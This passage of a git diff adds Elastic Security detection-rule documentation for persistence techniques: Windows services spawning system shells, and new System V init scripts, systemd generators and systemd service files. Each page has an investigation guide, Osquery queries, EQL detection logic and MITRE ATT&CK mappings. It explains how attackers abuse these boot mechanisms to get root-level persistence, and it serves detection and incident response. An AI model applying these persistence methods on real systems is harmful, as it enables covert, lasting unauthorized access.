+*Version*: 420 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating System Shells via Services* + + +Attackers may configure existing services or create new ones to execute system shells to elevate their privileges from administrator to SYSTEM. They can also configure services to execute these shells with persistence payloads. + +This rule looks for system shells being spawned by `services.exe`, which is compatible with the above behavior. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify how the service was created or modified. Look for registry changes events or Windows events related to service activities (for example, 4697 and/or 7045). + - Examine the created and existent services, the executables or drivers referenced, and command line arguments for suspicious entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the referenced files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Check for commands executed under the spawned shell. + + +*False positive analysis* + + +- This activity should not happen legitimately. The security team should address any potential benign true positive (B-TP), as this configuration can put the user and the domain at risk. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the service or restore it to the original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "services.exe" and + process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe") and + + /* Third party FP's */ + not process.args : "NVDisplay.ContainerLocalSystem" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-v-init-script-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-v-init-script-created.asciidoc new file mode 100644 index 0000000000..65ae4394d6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-system-v-init-script-created.asciidoc @@ -0,0 +1,228 @@ +[[prebuilt-rule-8-19-20-system-v-init-script-created]] +=== System V Init Script Created + +Files that are placed in the "/etc/init.d/" directory in Unix can be used to start custom applications, services, scripts or commands during start-up. Init.d has been mostly replaced in favor of Systemd. However, the "systemd-sysv-generator" can convert init.d files to service unit files that run at boot. Adversaries may add or alter files located in the "/etc/init.d/" directory to execute malicious code upon boot in order to gain persistence on the system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.intezer.com/blog/malware-analysis/hiddenwasp-malware-targeting-linux-systems/ +* https://pberba.github.io/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/#8-boot-or-logon-initialization-scripts-rc-scripts +* https://www.cyberciti.biz/faq/how-to-enable-rc-local-shell-script-on-systemd-while-booting-linux-system/ +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: SentinelOne + +*Version*: 119 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating System V Init Script Created* + + +The `/etc/init.d` directory is used in Linux systems to store the initialization scripts for various services and daemons that are executed during system startup and shutdown. + +Attackers can abuse files within the `/etc/init.d/` directory to run scripts, commands or malicious software every time a system is rebooted by converting an executable file into a service file through the `systemd-sysv-generator`. After conversion, a unit file is created within the `/run/systemd/generator.late/` directory. + +This rule looks for the creation of new files within the `/etc/init.d/` directory. Executable files in these directories will automatically run at boot with root privileges. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + +*Possible Investigation Steps* + + +- Investigate the file that was created or modified. + - !{osquery{"label":"Osquery - Retrieve File Information","query":"SELECT * FROM file WHERE path = {{file.path}}"}} +- Investigate whether any other files in the `/etc/init.d/` or `/run/systemd/generator.late/` directories have been altered. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE path LIKE '/etc/init.d/%'"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE path LIKE '/etc/init.d/%'\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate syslog through the `sudo cat /var/log/syslog | grep 'LSB'` command to find traces of the LSB header of the script (if present). If syslog is being ingested into Elasticsearch, the same can be accomplished through Kibana. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate whether this activity is related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator who uses init.d for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Related Rules* + + +- Suspicious File Creation in /etc for Persistence - 1c84dd64-7e6c-4bad-ac73-a5014ee37042 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Delete the maliciously created service/init.d files or restore it to the original configuration. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("creation", "file_create_event", "rename", "file_rename_event") +and file.path like "/etc/init.d/*" and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", "./envbuilder/bin/envbuilder", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", "/opt/puppetlabs/puppet/bin/ruby", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "./usr/bin/podman", "/usr/lib/systemd/systemd", + "/usr/bin/buildah", "/dev/.buildkit_qemu_emulator", "/usr/lib/nvidia/post-install", "/usr/bin/dnf5", "/usr/sbin/yum-cron" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove", "dpkg-new") or + ?file.Ext.original.name like "*.dpkg-new" or + file.path like ("/etc/init.d/*beat*", "/etc/init.d/elastic-agent*") or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", "/var/lib/docker/overlay2/*/dockerd ", + "/var/lib/containers/storage/overlay/*/dockerd" + ) or + process.name in ("docker-init", "jumpcloud-agent", "crio") or + process.executable == null or + process.name in ("executor", "univention-config-registry", "install", "dockerd-entrypoint.sh", "platform-python*", "ssm-agent-worker") or + (process.name == "ln" and file.path : "/etc/init.d/rc*.d/*") or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") or + (process.name == "cp" and file.path == "/etc/init.d/unified-monitoring-agent") or + (process.name == "./vmware-install.pl" and file.path == "/etc/init.d/vmware-tools") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-generator-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-generator-created.asciidoc new file mode 100644 index 0000000000..1f42b19357 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-generator-created.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-20-systemd-generator-created]] +=== Systemd Generator Created + +This rule detects the creation of a systemd generator file. Generators are small executables executed by systemd at bootup and during configuration reloads. Their main role is to convert non-native configuration and execution parameters into dynamically generated unit files, symlinks, or drop-ins, extending the unit file hierarchy for the service manager. Systemd generators can be used to execute arbitrary code at boot time, which can be leveraged by attackers to maintain persistence on a Linux system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/ +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Systemd Generator Created* + + +Systemd generators are scripts that systemd runs at boot or during configuration reloads to convert non-native configurations into unit files. Adversaries can exploit this by creating malicious generators to execute arbitrary code, ensuring persistence or escalating privileges. The detection rule identifies suspicious generator file creations or renames, excluding benign processes and file types, to flag potential abuse. + + +*Possible investigation steps* + + +- Review the file path where the generator was created or renamed to determine if it is located in a standard systemd generator directory, such as /run/systemd/system-generators/ or /etc/systemd/user-generators/. +- Identify the process that created or renamed the generator file by examining the process.executable field, and determine if it is a known benign process or potentially malicious. +- Check the file extension and original extension fields to ensure the file is not a temporary or expected system file, such as those with extensions like "swp" or "dpkg-new". +- Investigate the history and behavior of the process that created the generator file, including any associated network connections or file modifications, to assess if it exhibits signs of malicious activity. +- Correlate the event with other security alerts or logs from the same host to identify any patterns or additional indicators of compromise that might suggest persistence or privilege escalation attempts. + + +*False positive analysis* + + +- Package managers like dpkg, rpm, and yum can trigger false positives when they create or rename files in systemd generator directories during software installations or updates. To handle these, exclude processes associated with these package managers as specified in the rule. +- Automated system management tools such as Puppet and Chef may also create or modify generator files as part of their configuration management tasks. Exclude these processes by adding them to the exception list if they are part of your environment. +- Temporary files with extensions like swp, swpx, and swx, often created by text editors, can be mistakenly flagged. Ensure these extensions are included in the exclusion list to prevent unnecessary alerts. +- System updates or maintenance scripts that run as part of regular operations might create or modify generator files. Identify these scripts and add their executables to the exclusion list to reduce false positives. +- Custom scripts or tools that are part of legitimate administrative tasks may also trigger alerts. Review these scripts and consider excluding their executables if they are verified as non-malicious. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of potentially malicious code and lateral movement. +- Terminate any suspicious processes associated with the creation or modification of systemd generator files to halt any ongoing malicious activity. +- Conduct a thorough review of the systemd generator directories to identify and remove any unauthorized or suspicious generator files. +- Restore any modified or deleted legitimate systemd generator files from a known good backup to ensure system integrity. +- Implement file integrity monitoring on systemd generator directories to detect unauthorized changes in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Review and update access controls and permissions for systemd generator directories to limit the ability to create or modify files to authorized users only. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and file.path : ( +"/run/systemd/system-generators/*", "/etc/systemd/system-generators/*", +"/usr/local/lib/systemd/system-generators/*", "/lib/systemd/system-generators/*", +"/usr/lib/systemd/system-generators/*", "/etc/systemd/user-generators/*", +"/usr/local/lib/systemd/user-generators/*", "/usr/lib/systemd/user-generators/*", +"/lib/systemd/user-generators/*" +) and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", "/usr/sbin/sshd", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/dev/fd/*", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/libexec/platform-python", + "./usr/bin/podman", "/usr/lib/dracut/dracut-install", "/usr/bin/dnf5", "/usr/libexec/packagekitd", "/usr/sbin/dnf", + "/kaniko/executor", "/dev/fd/3", "/usr/local/bin/defender", "./usr/bin/qemu-aarch64-static", "/usr/sbin/yum" + ) or + process.executable like ( + "/snap/docker/*/bin/dockerd", "/var/lib/docker/overlay2/*/dockerd", "/var/lib/containers/storage/overlay/*/dockerd" + ) or + process.name like~ ("ssm-agent-worker", "crio", "docker-init", "systemd", "pacman", "python*", "platform-python*") or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable == null +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-service-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-service-created.asciidoc new file mode 100644 index 0000000000..6804b173b5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-systemd-service-created.asciidoc @@ -0,0 +1,247 @@ +[[prebuilt-rule-8-19-20-systemd-service-created]] +=== Systemd Service Created + +This rule detects the creation or renaming of a new Systemd file in all of the common Systemd service locations for both root and regular users. Systemd service files are configuration files in Linux systems used to define and manage system services. Malicious actors can leverage systemd service files to achieve persistence by creating or modifying services to execute malicious commands or payloads during system startup or at a predefined interval by adding a systemd timer. This allows them to maintain unauthorized access, execute additional malicious activities, or evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/ +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 20 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Systemd Service Created* + + +Systemd service files are configuration files in Linux systems used to define and manage system services. + +Malicious actors can leverage systemd service files to achieve persistence by creating or modifying service files to execute malicious commands or payloads during system startup. This allows them to maintain unauthorized access, execute additional malicious activities, or evade detection. + +This rule monitors the creation of new systemd service files, potentially indicating the creation of a persistence mechanism. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible Investigation Steps* + + +- Investigate the systemd service file that was created or modified. + - !{osquery{"label":"Osquery - Retrieve File Information","query":"SELECT * FROM file WHERE path = {{file.path}}"}} +- Investigate the currently enabled systemd services through the following command `sudo systemctl list-unit-files`. +- Investigate whether any other files in any of the available systemd directories have been altered through OSQuery. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE (path LIKE '/etc/systemd/system/%' OR path LIKE '/usr/local/lib/systemd/system/%' OR path LIKE\n'/lib/systemd/system/%' OR path LIKE '/usr/lib/systemd/system/%' OR path LIKE\n'/home/{{user.name}}/.config/systemd/user/%' OR path LIKE '/home/{{user.name}}/.local/share/systemd/user/%' OR path LIKE\n'/root/.config/systemd/user/%' OR path LIKE '/root/.local/share/systemd/user/%' OR path LIKE '/etc/systemd/user/%' OR\npath LIKE '/usr/lib/systemd/user/%')\n"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE ( path LIKE '/etc/systemd/system/%' OR path LIKE\n'/usr/local/lib/systemd/system/%' OR path LIKE '/lib/systemd/system/%' OR path LIKE '/usr/lib/systemd/system/%' OR path\nLIKE '/home/{{user.name}}/.config/systemd/user/%' OR path LIKE '/home/{{user.name}}/.local/share/systemd/user/%' OR path\nLIKE '/root/.config/systemd/user/%' OR path LIKE '/root/.local/share/systemd/user/%' OR path LIKE '/etc/systemd/user/%'\nOR path LIKE '/usr/lib/systemd/user/%')\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator who uses systemd services for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear 